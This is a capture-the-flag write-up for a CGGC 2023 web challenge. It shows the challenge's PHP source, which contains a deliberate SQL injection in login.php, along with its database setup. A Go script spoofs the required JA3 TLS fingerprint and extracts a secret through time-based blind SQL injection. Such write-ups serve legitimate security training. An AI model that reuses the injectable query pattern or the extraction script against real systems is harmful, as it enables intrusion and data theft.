CGGC CTF 2023 Preliminary Writeup

// flag.php
<?php
include_once("config.php");

if(isset($_GET["secret"])) {
    $pwd = $_GET["secret"];
    $dbname = 'secret_db';
    $conn = new mysqli(HOST, DBUSER, DBPASS, $dbname);
    
    if ($conn->connect_error) {
        die('Connection failed: ' . $conn->connect_error);
    }

    $stmt = $conn->prepare("SELECT * FROM s3cret_table");
    $stmt->execute();

    $result = $stmt->get_result();

    $response = array("data" => generateRandomString(strlen($flag)));
    if ($result->num_rows > 0) {
        $res = $result->fetch_assoc();
        if($res["secret"] == $pwd)
            $response = array("data" => $flag); // <-- flag here
    }

// login.php
<?php
include_once("config.php");
fingerprint_check();

if(isset($_POST['user']) && isset($_POST['pwd'])) {
    $user = $_POST['user'];
    $pwd = $_POST['pwd'];
} else {
    $user = $pwd = "";
}

//...

if($user != "" && $pwd != "") {
	$dbname = 'slot_db';
	$conn = new mysqli(HOST, DBUSER, DBPASS, $dbname);
	if ($conn->connect_error) {
	    die('Connection failed: ' . $conn->connect_error);
	}

	$conn->set_charset("utf8");
	$stmt = $conn->prepare("SELECT * FROM users WHERE username = '" . $user . "' and password = '" . md5($pwd) . "'"); // <-- SQLi here
	$stmt->execute();
	$result = $stmt->get_result();

	if ($result->num_rows > 0) {
	    $res = $result->fetch_assoc();
	    $_SESSION['login'] = $res["username"];
	    echo "<div>Login successful!</div>";
	    echo "<script>setTimeout(function(){ window.location.href = 'index.php'; }, 1000);</script>";
	} else {
	    echo "<div class=\"alert alert-danger\" role=\"alert\">Login failed! QAQ</div>";
	}

// config.php
<?php
session_start();
define("FINGERPRINT", "771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0");
define("DBUSER", "kaibro");
define("DBPASS", "superbig");
define("HOST", "localhost");
$flag = 'CGGC{fake_flag}';

function session_check() {
    if(!isset($_SESSION['login']) || $_SESSION['login'] == "") {
        header("Location: login.php");
        die("Plz login");
    }
}

function fingerprint_check() {
    if($_SERVER['HTTP_SSL_JA3'] !== FINGERPRINT) 
        die("Bad hacker! Wrong fingerprint!"); 
}

use mysql;
CREATE USER 'kaibro'@'localhost' IDENTIFIED BY 'superbig';
GRANT SELECT ON *.* TO 'kaibro'@localhost IDENTIFIED BY 'superbig' WITH GRANT OPTION;
FLUSH PRIVILEGES;


CREATE DATABASE slot_db;
use slot_db;
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
  `id` int(11) DEFAULT NULL,
  `username` text,
  `password` text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

LOCK TABLES `users` WRITE;
INSERT INTO `users` VALUES (1, 'kaibro', '4647570f7638e378e490db41c24c800a');
UNLOCK TABLES;

CREATE DATABASE secret_db;
use secret_db;

DROP TABLE IF EXISTS `s3cret_table`;
CREATE TABLE `s3cret_table` (
  `id` int(11) DEFAULT NULL,
  `secret` text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;


LOCK TABLES `s3cret_table` WRITE;
INSERT INTO `s3cret_table` VALUES (1, 'meowmeowmeow');
UNLOCK TABLES;

package main

import (
    "fmt"
    "github.com/Danny-Dasilva/CycleTLS/cycletls"
    "strconv"
    "time"
    "net/http"
    "crypto/tls"
    "io/ioutil"
)

func main() {

    client := cycletls.Init()
    // secret length = 32
    // Body: 'user=kaibro' UNION Select 1,2,IF(length(secret)=32,SLEEP(5),0) FROM secret_db.s3cret_table WHERE id=1 -- '&pwd=123',
    secret := ""
    chars := "abcdef1234567890"

    for len(secret) < 32 {
        for _, char := range chars {
            payload := "user=kaibro' UNION Select 1,IF(SUBSTRING(secret," + strconv.Itoa(len(secret)+1) + ",1) = CHAR(" + strconv.Itoa(int(char)) + "),SLEEP(2),null),3 FROM secret_db.s3cret_table WHERE id=1 -- '&pwd=123"
            //fmt.Println(payload)
            start := time.Now()

            _, err := client.Do("https://10.99.111.111:8787/login.php", cycletls.Options{
                Body : payload,
                Ja3: "771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0",
                UserAgent: "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0",
                Headers: map[string]string{
                    "Content-Type": "application/x-www-form-urlencoded",
                },
                InsecureSkipVerify: true,
                }, "POST");
            if err != nil {
                fmt.Print("Request Failed: " + err.Error())
            }

            elapsed := time.Since(start)
            //fmt.Println(elapsed)
            if (elapsed >= 2000000000) {
                secret = secret + string(char)
                fmt.Println(secret)
                break
            }
        }
    }
    http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
    response, err := http.Get("https://10.99.111.111:8787/flag.php?secret=" + secret)
    if err != nil {
        fmt.Print("Request Failed: " + err.Error())
    }
    // read response body
    body, error := ioutil.ReadAll(response.Body)
    if error != nil {
        fmt.Println(error)
    }
    // close response body
    response.Body.Close()

    // print response body
    fmt.Println(string(body))
}

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